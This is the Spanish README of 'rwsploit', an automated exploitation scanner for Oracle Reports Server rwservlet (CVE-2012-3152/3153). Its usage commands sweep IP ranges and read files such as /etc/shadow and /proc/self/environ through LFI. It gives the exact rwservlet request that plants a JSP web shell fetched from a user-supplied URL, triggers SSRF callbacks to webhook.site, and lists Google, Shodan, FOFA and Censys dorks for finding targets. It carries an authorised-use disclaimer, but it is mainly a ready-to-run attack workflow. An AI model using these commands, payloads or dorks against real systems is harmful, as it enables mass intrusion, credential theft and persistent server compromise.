
Escáner automatizado de explotación para Oracle Reports Server (rwservlet) — CVE-2012-3152 / CVE-2012-3153. Detecta, identifica, lee archivos mediante LFI, prueba SSRF a través de webhook y sube shells JSP. Apunta a Oracle Reports < 11g. Solo para uso autorizado.
⚠️ Solo para uso autorizado. Ejecute esta herramienta únicamente contra sistemas que posea o para los que tenga permiso explícito por escrito. El uso no autorizado es ilegal.
Un escáner de explotación enfocado para Oracle Reports Server (rwservlet) que apunta a CVE-2012-3152 y CVE-2012-3153 — afectando versiones anteriores a 11g. Automatiza detección, lectura de archivos LFI, pruebas SSRF y carga de shell JSP en IPs individuales, rangos CIDR o listas de objetivos. El prefiltrado inteligente TCP/HTTP salta hosts muertos al instante para no perder tiempo.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Requiere Python 3.8+. Sin otras dependencias.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
Ejecute sin argumentos para ver el menú de ayuda completo y los dorks de reconocimiento.
# Solo detección
python3 rwsploit.py -t 10.10.10.55 -p 7777
# Detección + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# Cadena completa — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# Escaneo de subred, guardar volcados
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# Desde archivo, sin SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
Formato de targets.txt
# comment — skipped
10.10.10.55
10.10.11.0/24
Lee archivos legibles por el mundo detectando primero el SO mediante showenv, luego ejecuta solo el conjunto de cargas coincidentes.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 Que no haya salida LFI no significa que el objetivo sea seguro — la configuración y permisos de archivos de Oracle varían. Siempre pruebe SSRF y carga de shell de forma independiente.
Dispara rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> y consulta la API de webhook.site para una devolución de llamada. Imprime la IP origen, método y User-Agent en el impacto. Se crea automáticamente un token de webhook nuevo al inicio.
--shell)PATH_TRANSLATED de showenv para obtener la ruta real del webrootkxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | Descripción |
|---|---|
| CVE-2012-3152 | Lectura de archivos no autenticada a través del parámetro report de rwservlet |
| CVE-2012-3153 | SSRF y escritura de archivos a través de JOBTYPE=rwurl + URLPARAMETER |
Afecta a Oracle Reports Server 6i, 9i, 10g — corregido en 11g.
Solo para pruebas de penetración autorizadas, desafíos CTF e investigación de seguridad. El autor no asume ninguna responsabilidad por el mal uso.
| Flag | Descripción | Por defecto |
|---|
-t | IP, hostname o CIDR de destino. Se aceptan múltiples valores. | — |
-f | Archivo con una IP o CIDR por línea. # = comentario. | — |
-p | Puerto personalizado único — anula la lista de puertos por defecto. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | Hilos concurrentes. | 15 |
-o | Guardar volcados LFI en disco con este prefijo. Ej: -o loot → loot_<ip>_<port>_<file>.txt | solo stdout |
--timeout | Tiempo de espera en segundos. | 10 |
--lfi | Ejecutar cargas útiles de lectura de archivos LFI. Primero se detecta el SO para que solo se ejecuten las cargas relevantes. | desactivado |
--no-ssrf | Omitir prueba de webhook SSRF. | desactivado |
--shell | Subir un shell JSP. Solicita la URL que sirve su contenido de shell. | desactivado |
-h | Mostrar ayuda y dorks de reconocimiento. | — |